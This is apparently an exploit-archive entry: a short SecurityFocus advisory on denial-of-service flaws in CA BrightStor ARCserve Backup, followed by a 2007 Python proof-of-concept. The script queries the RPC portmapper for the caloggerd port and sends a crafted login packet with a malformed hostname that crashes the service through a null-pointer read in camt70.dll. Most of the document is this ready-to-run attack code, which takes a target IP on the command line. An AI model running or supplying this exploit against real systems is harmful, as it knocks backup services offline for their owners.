source: http://www.securityfocus.com/bid/24017/info

Computer Associates BrightStor ARCserve Backup is prone to multiple denial-of-service vulnerabilities due to memory-corruption issues caused by errors in processing arguments passed to RPC procedures.

A remote attacker may exploit these issues to crash the affected services, resulting in denial-of-service conditions.

The following applications are affected:

BrightStor ARCserve Backup v9.01, r11.1, r11.5, r11 for Windows
BrightStor Enterprise Backup r10.5
CA Server Protection Suite r2,
CA Business Protection Suite r2
CA Business Protection Suite for Microsoft Small Business Server Standard Edition r2
CA Business Protection Suite for Microsoft Small Business Server Premium Edition r2 

#!/usr/bin/python
#
# Computer Associates (CA) Brightstor Backup caloggderd.exe DoS 
(camt70.dll)
# (Previously Unknown)
# 
# There is an issue in camt70.dll when caloggerd is processing a 
hostname for a login operation.
# When processing the string, if a null is passed in as an argument, it 
will be loaded into ESI
# and then loaded into EDI in which the string processing will read a 
null memory location.
# 
# .text:0032ADD0 push    ecx
# .text:0032ADD1 mov     eax, [esp+4+arg_4]
# .text:0032ADD5 push    esi
# .text:0032ADD6 mov     esi, [esp+8+arg_8] <--null gets loaded
# .text:0032ADDA push    edi
# .text:0032ADDB mov     edx, [eax]
# .text:0032ADDD mov     edi, esi	    <-- EDI gets set to nulls
# .text:0032ADDF or      ecx, 0FFFFFFFFh
# .text:0032ADE2 xor     eax, eax
# .text:0032ADE4 repne scasb
#
# This was tested on BrightStor ARCserve Backup 11.5.2.0 (SP2) with the 
latest 
# CA patches on Windows XP SP2 
#
# CA has been notified
#
# Author: M. Shirk 
#
# (c) Copyright 2007 (Shirkdog Security) shirkdog_list $ at % hotmail 
dot com 
#
# Use at your own Risk: You have been warned 
#------------------------------------------------------------------------

import os
import sys
import time
import socket
import struct

#------------------------------------------------------------------------

# RPC GetPort request for caloggerd
rpc_portmap_req="\x80\x00\x00\x38\x21\x84\xf7\xc9\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x09\x82\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00"


# Begining of RPC Packet
packet="\x80\x00\x00\x58\x31\x46\xD3\xB9\x00\x00\x00\x00\x00\x00\x00\x02"

# Prog ID (caloggerd)
packet+="\x00\x06\x09\x82"

# Operation number 1
packet+="\x00\x00\x00\x01\x00\x00\x00\x01"

# Nulls
packet+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

# Size of hostname, used in the Login
packet+="\x00\x00\x00\x22" 

# Hostname, which apparently with the size and the nulls, causes the DoS
packet+="\x41\x41\x41\x41"*8
packet+="\x41\x41\x00\x00"
packet+="\xff\xff\xff\xff"

#------------------------------------------------------------------------

def GetCALoggerPort(target):
	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	sock.connect((target,111))
	sock.send(rpc_portmap_req)
	rec = sock.recv(256)
	sock.close()

	port1 = rec[-4]
	port2 = rec[-3]
	port3 = rec[-2]
	port4 = rec[-1]	
	
	port1 = hex(ord(port1))
	port2 = hex(ord(port2))
	port3 = hex(ord(port3))
	port4 = hex(ord(port4))
	port = '%02x%02x%02x%02x' % 
(int(port1,16),int(port2,16),int(port3,16),int(port4,16))
	port = int(port,16)

	print '[+] Sending TCP Packet of Death to Target: %s Port: %s' % 
(target,port)
	ExploitCALoggerd(target,port)


def ExploitCALoggerd(target,port):
	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	sock.connect((target,port))
	sock.send(packet)
	sock.close()
	print '[+] Done...\n[+] caloggerd.exe is dead\n[+] ... or it 
will die in a few seconds for you inpatient bastards\n'


if __name__=="__main__":
       try:
               target = sys.argv[1]
       except IndexError:
		print '[+] Computer Associates (CA) Brightstor Backup 
caloggerd.exe DoS (camt70.dll)'
       		print '[+] Author: Shirkdog'
               	print '[+] Usage: %s <target ip>\n' % sys.argv[0]
               	sys.exit(-1)

       print '[+] Computer Associates (CA) Brightstor Backup 
caloggerd.exe DoS (camt70.dll)'
       print '[+] Author: Shirkdog'

       GetCALoggerPort(target)

